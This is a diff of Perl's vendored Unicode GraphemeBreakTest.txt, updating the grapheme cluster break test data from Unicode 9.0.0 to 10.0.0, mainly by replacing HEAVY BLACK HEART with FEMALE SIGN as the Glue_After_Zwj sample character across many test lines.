--- vendor/perl/dist/lib/unicore/auxiliary/GCBTest.txt	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/lib/unicore/auxiliary/GCBTest.txt	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,6 +1,6 @@
-# GraphemeBreakTest-9.0.0.txt
-# Date: 2016-06-02, 18:28:17 GMT
-# © 2016 Unicode®, Inc.
+# GraphemeBreakTest-10.0.0.txt
+# Date: 2017-04-14, 05:40:29 GMT
+# © 2017 Unicode®, Inc.
 # Unicode and the Unicode Logo are registered trademarks of Unicode, Inc. in the U.S. and other countries.
 # For terms of use, see http://www.unicode.org/terms_of_use.html
 #
@@ -7,17 +7,18 @@
 # Unicode Character Database
 #   For documentation, see http://www.unicode.org/reports/tr44/
 #
-# Default Grapheme Break Test
+# Default Grapheme_Cluster_Break Test
 #
 # Format:
-# <string> (# <comment>)? 
-#  <string> contains hex Unicode code points, with 
-#	÷ wherever there is a break opportunity, and 
+# <string> (# <comment>)?
+#  <string> contains hex Unicode code points, with
+#	÷ wherever there is a break opportunity, and
 #	× wherever there is not.
 #  <comment> the format can change, but currently it shows:
 #	- the sample character name
 #	- (x) the Grapheme_Cluster_Break property value for the sample character
-#	- [x] the rule that determines whether there is a break or not
+#	- [x] the rule that determines whether there is a break or not,
+#	   as listed in the Rules section of GraphemeBreakTest.html
 #
 # These samples may be extended or changed in the future.
 #
@@ -53,8 +54,8 @@
 ÷ 0020 × 0308 ÷ 1F3FB ÷	#  ÷ [0.2] SPACE (Other) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
 ÷ 0020 × 200D ÷	#  ÷ [0.2] SPACE (Other) × [9.0] ZERO WIDTH JOINER (ZWJ) ÷ [0.3]
 ÷ 0020 × 0308 × 200D ÷	#  ÷ [0.2] SPACE (Other) × [9.0] COMBINING DIAERESIS (Extend) × [9.0] ZERO WIDTH JOINER (ZWJ) ÷ [0.3]
-÷ 0020 ÷ 2764 ÷	#  ÷ [0.2] SPACE (Other) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3]
-÷ 0020 × 0308 ÷ 2764 ÷	#  ÷ [0.2] SPACE (Other) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3]
+÷ 0020 ÷ 2640 ÷	#  ÷ [0.2] SPACE (Other) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
+÷ 0020 × 0308 ÷ 2640 ÷	#  ÷ [0.2] SPACE (Other) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
 ÷ 0020 ÷ 1F466 ÷	#  ÷ [0.2] SPACE (Other) ÷ [999.0] BOY (EBG) ÷ [0.3]
 ÷ 0020 × 0308 ÷ 1F466 ÷	#  ÷ [0.2] SPACE (Other) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] BOY (EBG) ÷ [0.3]
 ÷ 0020 ÷ 0378 ÷	#  ÷ [0.2] SPACE (Other) ÷ [999.0] <reserved-0378> (Other) ÷ [0.3]
@@ -93,8 +94,8 @@
 ÷ 000D ÷ 0308 ÷ 1F3FB ÷	#  ÷ [0.2] <CARRIAGE RETURN (CR)> (CR) ÷ [4.0] COMBINING DIAERESIS (Extend) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
 ÷ 000D ÷ 200D ÷	#  ÷ [0.2] <CARRIAGE RETURN (CR)> (CR) ÷ [4.0] ZERO WIDTH JOINER (ZWJ) ÷ [0.3]
 ÷ 000D ÷ 0308 × 200D ÷	#  ÷ [0.2] <CARRIAGE RETURN (CR)> (CR) ÷ [4.0] COMBINING DIAERESIS (Extend) × [9.0] ZERO WIDTH JOINER (ZWJ) ÷ [0.3]
-÷ 000D ÷ 2764 ÷	#  ÷ [0.2] <CARRIAGE RETURN (CR)> (CR) ÷ [4.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3]
-÷ 000D ÷ 0308 ÷ 2764 ÷	#  ÷ [0.2] <CARRIAGE RETURN (CR)> (CR) ÷ [4.0] COMBINING DIAERESIS (Extend) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3]
+÷ 000D ÷ 2640 ÷	#  ÷ [0.2] <CARRIAGE RETURN (CR)> (CR) ÷ [4.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
+÷ 000D ÷ 0308 ÷ 2640 ÷	#  ÷ [0.2] <CARRIAGE RETURN (CR)> (CR) ÷ [4.0] COMBINING DIAERESIS (Extend) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
 ÷ 000D ÷ 1F466 ÷	#  ÷ [0.2] <CARRIAGE RETURN (CR)> (CR) ÷ [4.0] BOY (EBG) ÷ [0.3]
 ÷ 000D ÷ 0308 ÷ 1F466 ÷	#  ÷ [0.2] <CARRIAGE RETURN (CR)> (CR) ÷ [4.0] COMBINING DIAERESIS (Extend) ÷ [999.0] BOY (EBG) ÷ [0.3]
 ÷ 000D ÷ 0378 ÷	#  ÷ [0.2] <CARRIAGE RETURN (CR)> (CR) ÷ [4.0] <reserved-0378> (Other) ÷ [0.3]
@@ -133,8 +134,8 @@
 ÷ 000A ÷ 0308 ÷ 1F3FB ÷	#  ÷ [0.2] <LINE FEED (LF)> (LF) ÷ [4.0] COMBINING DIAERESIS (Extend) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
 ÷ 000A ÷ 200D ÷	#  ÷ [0.2] <LINE FEED (LF)> (LF) ÷ [4.0] ZERO WIDTH JOINER (ZWJ) ÷ [0.3]
 ÷ 000A ÷ 0308 × 200D ÷	#  ÷ [0.2] <LINE FEED (LF)> (LF) ÷ [4.0] COMBINING DIAERESIS (Extend) × [9.0] ZERO WIDTH JOINER (ZWJ) ÷ [0.3]
-÷ 000A ÷ 2764 ÷	#  ÷ [0.2] <LINE FEED (LF)> (LF) ÷ [4.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3]
-÷ 000A ÷ 0308 ÷ 2764 ÷	#  ÷ [0.2] <LINE FEED (LF)> (LF) ÷ [4.0] COMBINING DIAERESIS (Extend) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3]
+÷ 000A ÷ 2640 ÷	#  ÷ [0.2] <LINE FEED (LF)> (LF) ÷ [4.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
+÷ 000A ÷ 0308 ÷ 2640 ÷	#  ÷ [0.2] <LINE FEED (LF)> (LF) ÷ [4.0] COMBINING DIAERESIS (Extend) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
 ÷ 000A ÷ 1F466 ÷	#  ÷ [0.2] <LINE FEED (LF)> (LF) ÷ [4.0] BOY (EBG) ÷ [0.3]
 ÷ 000A ÷ 0308 ÷ 1F466 ÷	#  ÷ [0.2] <LINE FEED (LF)> (LF) ÷ [4.0] COMBINING DIAERESIS (Extend) ÷ [999.0] BOY (EBG) ÷ [0.3]
 ÷ 000A ÷ 0378 ÷	#  ÷ [0.2] <LINE FEED (LF)> (LF) ÷ [4.0] <reserved-0378> (Other) ÷ [0.3]
@@ -173,8 +174,8 @@
 ÷ 0001 ÷ 0308 ÷ 1F3FB ÷	#  ÷ [0.2] <START OF HEADING> (Control) ÷ [4.0] COMBINING DIAERESIS (Extend) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
 ÷ 0001 ÷ 200D ÷	#  ÷ [0.2] <START OF HEADING> (Control) ÷ [4.0] ZERO WIDTH JOINER (ZWJ) ÷ [0.3]
 ÷ 0001 ÷ 0308 × 200D ÷	#  ÷ [0.2] <START OF HEADING> (Control) ÷ [4.0] COMBINING DIAERESIS (Extend) × [9.0] ZERO WIDTH JOINER (ZWJ) ÷ [0.3]
-÷ 0001 ÷ 2764 ÷	#  ÷ [0.2] <START OF HEADING> (Control) ÷ [4.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3]
-÷ 0001 ÷ 0308 ÷ 2764 ÷	#  ÷ [0.2] <START OF HEADING> (Control) ÷ [4.0] COMBINING DIAERESIS (Extend) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3]
+÷ 0001 ÷ 2640 ÷	#  ÷ [0.2] <START OF HEADING> (Control) ÷ [4.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
+÷ 0001 ÷ 0308 ÷ 2640 ÷	#  ÷ [0.2] <START OF HEADING> (Control) ÷ [4.0] COMBINING DIAERESIS (Extend) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
 ÷ 0001 ÷ 1F466 ÷	#  ÷ [0.2] <START OF HEADING> (Control) ÷ [4.0] BOY (EBG) ÷ [0.3]
 ÷ 0001 ÷ 0308 ÷ 1F466 ÷	#  ÷ [0.2] <START OF HEADING> (Control) ÷ [4.0] COMBINING DIAERESIS (Extend) ÷ [999.0] BOY (EBG) ÷ [0.3]
 ÷ 0001 ÷ 0378 ÷	#  ÷ [0.2] <START OF HEADING> (Control) ÷ [4.0] <reserved-0378> (Other) ÷ [0.3]
@@ -213,8 +214,8 @@
 ÷ 0300 × 0308 ÷ 1F3FB ÷	#  ÷ [0.2] COMBINING GRAVE ACCENT (Extend) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
 ÷ 0300 × 200D ÷	#  ÷ [0.2] COMBINING GRAVE ACCENT (Extend) × [9.0] ZERO WIDTH JOINER (ZWJ) ÷ [0.3]
 ÷ 0300 × 0308 × 200D ÷	#  ÷ [0.2] COMBINING GRAVE ACCENT (Extend) × [9.0] COMBINING DIAERESIS (Extend) × [9.0] ZERO WIDTH JOINER (ZWJ) ÷ [0.3]
-÷ 0300 ÷ 2764 ÷	#  ÷ [0.2] COMBINING GRAVE ACCENT (Extend) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3]
-÷ 0300 × 0308 ÷ 2764 ÷	#  ÷ [0.2] COMBINING GRAVE ACCENT (Extend) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3]
+÷ 0300 ÷ 2640 ÷	#  ÷ [0.2] COMBINING GRAVE ACCENT (Extend) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
+÷ 0300 × 0308 ÷ 2640 ÷	#  ÷ [0.2] COMBINING GRAVE ACCENT (Extend) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
 ÷ 0300 ÷ 1F466 ÷	#  ÷ [0.2] COMBINING GRAVE ACCENT (Extend) ÷ [999.0] BOY (EBG) ÷ [0.3]
 ÷ 0300 × 0308 ÷ 1F466 ÷	#  ÷ [0.2] COMBINING GRAVE ACCENT (Extend) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] BOY (EBG) ÷ [0.3]
 ÷ 0300 ÷ 0378 ÷	#  ÷ [0.2] COMBINING GRAVE ACCENT (Extend) ÷ [999.0] <reserved-0378> (Other) ÷ [0.3]
@@ -253,8 +254,8 @@
 ÷ 0600 × 0308 ÷ 1F3FB ÷	#  ÷ [0.2] ARABIC NUMBER SIGN (Prepend) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
 ÷ 0600 × 200D ÷	#  ÷ [0.2] ARABIC NUMBER SIGN (Prepend) × [9.0] ZERO WIDTH JOINER (ZWJ) ÷ [0.3]
 ÷ 0600 × 0308 × 200D ÷	#  ÷ [0.2] ARABIC NUMBER SIGN (Prepend) × [9.0] COMBINING DIAERESIS (Extend) × [9.0] ZERO WIDTH JOINER (ZWJ) ÷ [0.3]
-÷ 0600 × 2764 ÷	#  ÷ [0.2] ARABIC NUMBER SIGN (Prepend) × [9.2] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3]
-÷ 0600 × 0308 ÷ 2764 ÷	#  ÷ [0.2] ARABIC NUMBER SIGN (Prepend) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3]
+÷ 0600 × 2640 ÷	#  ÷ [0.2] ARABIC NUMBER SIGN (Prepend) × [9.2] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
+÷ 0600 × 0308 ÷ 2640 ÷	#  ÷ [0.2] ARABIC NUMBER SIGN (Prepend) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
 ÷ 0600 × 1F466 ÷	#  ÷ [0.2] ARABIC NUMBER SIGN (Prepend) × [9.2] BOY (EBG) ÷ [0.3]
 ÷ 0600 × 0308 ÷ 1F466 ÷	#  ÷ [0.2] ARABIC NUMBER SIGN (Prepend) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] BOY (EBG) ÷ [0.3]
 ÷ 0600 × 0378 ÷	#  ÷ [0.2] ARABIC NUMBER SIGN (Prepend) × [9.2] <reserved-0378> (Other) ÷ [0.3]
@@ -293,8 +294,8 @@
 ÷ 0903 × 0308 ÷ 1F3FB ÷	#  ÷ [0.2] DEVANAGARI SIGN VISARGA (SpacingMark) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
 ÷ 0903 × 200D ÷	#  ÷ [0.2] DEVANAGARI SIGN VISARGA (SpacingMark) × [9.0] ZERO WIDTH JOINER (ZWJ) ÷ [0.3]
 ÷ 0903 × 0308 × 200D ÷	#  ÷ [0.2] DEVANAGARI SIGN VISARGA (SpacingMark) × [9.0] COMBINING DIAERESIS (Extend) × [9.0] ZERO WIDTH JOINER (ZWJ) ÷ [0.3]
-÷ 0903 ÷ 2764 ÷	#  ÷ [0.2] DEVANAGARI SIGN VISARGA (SpacingMark) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3]
-÷ 0903 × 0308 ÷ 2764 ÷	#  ÷ [0.2] DEVANAGARI SIGN VISARGA (SpacingMark) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3]
+÷ 0903 ÷ 2640 ÷	#  ÷ [0.2] DEVANAGARI SIGN VISARGA (SpacingMark) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
+÷ 0903 × 0308 ÷ 2640 ÷	#  ÷ [0.2] DEVANAGARI SIGN VISARGA (SpacingMark) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
 ÷ 0903 ÷ 1F466 ÷	#  ÷ [0.2] DEVANAGARI SIGN VISARGA (SpacingMark) ÷ [999.0] BOY (EBG) ÷ [0.3]
 ÷ 0903 × 0308 ÷ 1F466 ÷	#  ÷ [0.2] DEVANAGARI SIGN VISARGA (SpacingMark) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] BOY (EBG) ÷ [0.3]
 ÷ 0903 ÷ 0378 ÷	#  ÷ [0.2] DEVANAGARI SIGN VISARGA (SpacingMark) ÷ [999.0] <reserved-0378> (Other) ÷ [0.3]
@@ -333,8 +334,8 @@
 ÷ 1100 × 0308 ÷ 1F3FB ÷	#  ÷ [0.2] HANGUL CHOSEONG KIYEOK (L) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
 ÷ 1100 × 200D ÷	#  ÷ [0.2] HANGUL CHOSEONG KIYEOK (L) × [9.0] ZERO WIDTH JOINER (ZWJ) ÷ [0.3]
 ÷ 1100 × 0308 × 200D ÷	#  ÷ [0.2] HANGUL CHOSEONG KIYEOK (L) × [9.0] COMBINING DIAERESIS (Extend) × [9.0] ZERO WIDTH JOINER (ZWJ) ÷ [0.3]
-÷ 1100 ÷ 2764 ÷	#  ÷ [0.2] HANGUL CHOSEONG KIYEOK (L) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3]
-÷ 1100 × 0308 ÷ 2764 ÷	#  ÷ [0.2] HANGUL CHOSEONG KIYEOK (L) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3]
+÷ 1100 ÷ 2640 ÷	#  ÷ [0.2] HANGUL CHOSEONG KIYEOK (L) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
+÷ 1100 × 0308 ÷ 2640 ÷	#  ÷ [0.2] HANGUL CHOSEONG KIYEOK (L) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
 ÷ 1100 ÷ 1F466 ÷	#  ÷ [0.2] HANGUL CHOSEONG KIYEOK (L) ÷ [999.0] BOY (EBG) ÷ [0.3]
 ÷ 1100 × 0308 ÷ 1F466 ÷	#  ÷ [0.2] HANGUL CHOSEONG KIYEOK (L) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] BOY (EBG) ÷ [0.3]
 ÷ 1100 ÷ 0378 ÷	#  ÷ [0.2] HANGUL CHOSEONG KIYEOK (L) ÷ [999.0] <reserved-0378> (Other) ÷ [0.3]
@@ -373,8 +374,8 @@
 ÷ 1160 × 0308 ÷ 1F3FB ÷	#  ÷ [0.2] HANGUL JUNGSEONG FILLER (V) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
 ÷ 1160 × 200D ÷	#  ÷ [0.2] HANGUL JUNGSEONG FILLER (V) × [9.0] ZERO WIDTH JOINER (ZWJ) ÷ [0.3]
 ÷ 1160 × 0308 × 200D ÷	#  ÷ [0.2] HANGUL JUNGSEONG FILLER (V) × [9.0] COMBINING DIAERESIS (Extend) × [9.0] ZERO WIDTH JOINER (ZWJ) ÷ [0.3]
-÷ 1160 ÷ 2764 ÷	#  ÷ [0.2] HANGUL JUNGSEONG FILLER (V) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3]
-÷ 1160 × 0308 ÷ 2764 ÷	#  ÷ [0.2] HANGUL JUNGSEONG FILLER (V) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3]
+÷ 1160 ÷ 2640 ÷	#  ÷ [0.2] HANGUL JUNGSEONG FILLER (V) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
+÷ 1160 × 0308 ÷ 2640 ÷	#  ÷ [0.2] HANGUL JUNGSEONG FILLER (V) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
 ÷ 1160 ÷ 1F466 ÷	#  ÷ [0.2] HANGUL JUNGSEONG FILLER (V) ÷ [999.0] BOY (EBG) ÷ [0.3]
 ÷ 1160 × 0308 ÷ 1F466 ÷	#  ÷ [0.2] HANGUL JUNGSEONG FILLER (V) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] BOY (EBG) ÷ [0.3]
 ÷ 1160 ÷ 0378 ÷	#  ÷ [0.2] HANGUL JUNGSEONG FILLER (V) ÷ [999.0] <reserved-0378> (Other) ÷ [0.3]
@@ -413,8 +414,8 @@
 ÷ 11A8 × 0308 ÷ 1F3FB ÷	#  ÷ [0.2] HANGUL JONGSEONG KIYEOK (T) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
 ÷ 11A8 × 200D ÷	#  ÷ [0.2] HANGUL JONGSEONG KIYEOK (T) × [9.0] ZERO WIDTH JOINER (ZWJ) ÷ [0.3]
 ÷ 11A8 × 0308 × 200D ÷	#  ÷ [0.2] HANGUL JONGSEONG KIYEOK (T) × [9.0] COMBINING DIAERESIS (Extend) × [9.0] ZERO WIDTH JOINER (ZWJ) ÷ [0.3]
-÷ 11A8 ÷ 2764 ÷	#  ÷ [0.2] HANGUL JONGSEONG KIYEOK (T) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3]
-÷ 11A8 × 0308 ÷ 2764 ÷	#  ÷ [0.2] HANGUL JONGSEONG KIYEOK (T) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3]
+÷ 11A8 ÷ 2640 ÷	#  ÷ [0.2] HANGUL JONGSEONG KIYEOK (T) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
+÷ 11A8 × 0308 ÷ 2640 ÷	#  ÷ [0.2] HANGUL JONGSEONG KIYEOK (T) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
 ÷ 11A8 ÷ 1F466 ÷	#  ÷ [0.2] HANGUL JONGSEONG KIYEOK (T) ÷ [999.0] BOY (EBG) ÷ [0.3]
 ÷ 11A8 × 0308 ÷ 1F466 ÷	#  ÷ [0.2] HANGUL JONGSEONG KIYEOK (T) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] BOY (EBG) ÷ [0.3]
 ÷ 11A8 ÷ 0378 ÷	#  ÷ [0.2] HANGUL JONGSEONG KIYEOK (T) ÷ [999.0] <reserved-0378> (Other) ÷ [0.3]
@@ -453,8 +454,8 @@
 ÷ AC00 × 0308 ÷ 1F3FB ÷	#  ÷ [0.2] HANGUL SYLLABLE GA (LV) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
 ÷ AC00 × 200D ÷	#  ÷ [0.2] HANGUL SYLLABLE GA (LV) × [9.0] ZERO WIDTH JOINER (ZWJ) ÷ [0.3]
 ÷ AC00 × 0308 × 200D ÷	#  ÷ [0.2] HANGUL SYLLABLE GA (LV) × [9.0] COMBINING DIAERESIS (Extend) × [9.0] ZERO WIDTH JOINER (ZWJ) ÷ [0.3]
-÷ AC00 ÷ 2764 ÷	#  ÷ [0.2] HANGUL SYLLABLE GA (LV) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3]
-÷ AC00 × 0308 ÷ 2764 ÷	#  ÷ [0.2] HANGUL SYLLABLE GA (LV) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3]
+÷ AC00 ÷ 2640 ÷	#  ÷ [0.2] HANGUL SYLLABLE GA (LV) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
+÷ AC00 × 0308 ÷ 2640 ÷	#  ÷ [0.2] HANGUL SYLLABLE GA (LV) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
 ÷ AC00 ÷ 1F466 ÷	#  ÷ [0.2] HANGUL SYLLABLE GA (LV) ÷ [999.0] BOY (EBG) ÷ [0.3]
 ÷ AC00 × 0308 ÷ 1F466 ÷	#  ÷ [0.2] HANGUL SYLLABLE GA (LV) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] BOY (EBG) ÷ [0.3]
 ÷ AC00 ÷ 0378 ÷	#  ÷ [0.2] HANGUL SYLLABLE GA (LV) ÷ [999.0] <reserved-0378> (Other) ÷ [0.3]
@@ -493,8 +494,8 @@
 ÷ AC01 × 0308 ÷ 1F3FB ÷	#  ÷ [0.2] HANGUL SYLLABLE GAG (LVT) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
 ÷ AC01 × 200D ÷	#  ÷ [0.2] HANGUL SYLLABLE GAG (LVT) × [9.0] ZERO WIDTH JOINER (ZWJ) ÷ [0.3]
 ÷ AC01 × 0308 × 200D ÷	#  ÷ [0.2] HANGUL SYLLABLE GAG (LVT) × [9.0] COMBINING DIAERESIS (Extend) × [9.0] ZERO WIDTH JOINER (ZWJ) ÷ [0.3]
-÷ AC01 ÷ 2764 ÷	#  ÷ [0.2] HANGUL SYLLABLE GAG (LVT) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3]
-÷ AC01 × 0308 ÷ 2764 ÷	#  ÷ [0.2] HANGUL SYLLABLE GAG (LVT) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3]
+÷ AC01 ÷ 2640 ÷	#  ÷ [0.2] HANGUL SYLLABLE GAG (LVT) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
+÷ AC01 × 0308 ÷ 2640 ÷	#  ÷ [0.2] HANGUL SYLLABLE GAG (LVT) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
 ÷ AC01 ÷ 1F466 ÷	#  ÷ [0.2] HANGUL SYLLABLE GAG (LVT) ÷ [999.0] BOY (EBG) ÷ [0.3]
 ÷ AC01 × 0308 ÷ 1F466 ÷	#  ÷ [0.2] HANGUL SYLLABLE GAG (LVT) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] BOY (EBG) ÷ [0.3]
 ÷ AC01 ÷ 0378 ÷	#  ÷ [0.2] HANGUL SYLLABLE GAG (LVT) ÷ [999.0] <reserved-0378> (Other) ÷ [0.3]
@@ -533,8 +534,8 @@
 ÷ 1F1E6 × 0308 ÷ 1F3FB ÷	#  ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
 ÷ 1F1E6 × 200D ÷	#  ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] ZERO WIDTH JOINER (ZWJ) ÷ [0.3]
 ÷ 1F1E6 × 0308 × 200D ÷	#  ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (Extend) × [9.0] ZERO WIDTH JOINER (ZWJ) ÷ [0.3]
-÷ 1F1E6 ÷ 2764 ÷	#  ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3]
-÷ 1F1E6 × 0308 ÷ 2764 ÷	#  ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3]
+÷ 1F1E6 ÷ 2640 ÷	#  ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
+÷ 1F1E6 × 0308 ÷ 2640 ÷	#  ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
 ÷ 1F1E6 ÷ 1F466 ÷	#  ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [999.0] BOY (EBG) ÷ [0.3]
 ÷ 1F1E6 × 0308 ÷ 1F466 ÷	#  ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] BOY (EBG) ÷ [0.3]
 ÷ 1F1E6 ÷ 0378 ÷	#  ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [999.0] <reserved-0378> (Other) ÷ [0.3]
@@ -573,8 +574,8 @@
 ÷ 261D × 0308 × 1F3FB ÷	#  ÷ [0.2] WHITE UP POINTING INDEX (E_Base) × [9.0] COMBINING DIAERESIS (Extend) × [10.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
 ÷ 261D × 200D ÷	#  ÷ [0.2] WHITE UP POINTING INDEX (E_Base) × [9.0] ZERO WIDTH JOINER (ZWJ) ÷ [0.3]
 ÷ 261D × 0308 × 200D ÷	#  ÷ [0.2] WHITE UP POINTING INDEX (E_Base) × [9.0] COMBINING DIAERESIS (Extend) × [9.0] ZERO WIDTH JOINER (ZWJ) ÷ [0.3]
-÷ 261D ÷ 2764 ÷	#  ÷ [0.2] WHITE UP POINTING INDEX (E_Base) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3]
-÷ 261D × 0308 ÷ 2764 ÷	#  ÷ [0.2] WHITE UP POINTING INDEX (E_Base) × [9.0] COMBINING DIAERESIS (Extend) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3]
+÷ 261D ÷ 2640 ÷	#  ÷ [0.2] WHITE UP POINTING INDEX (E_Base) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
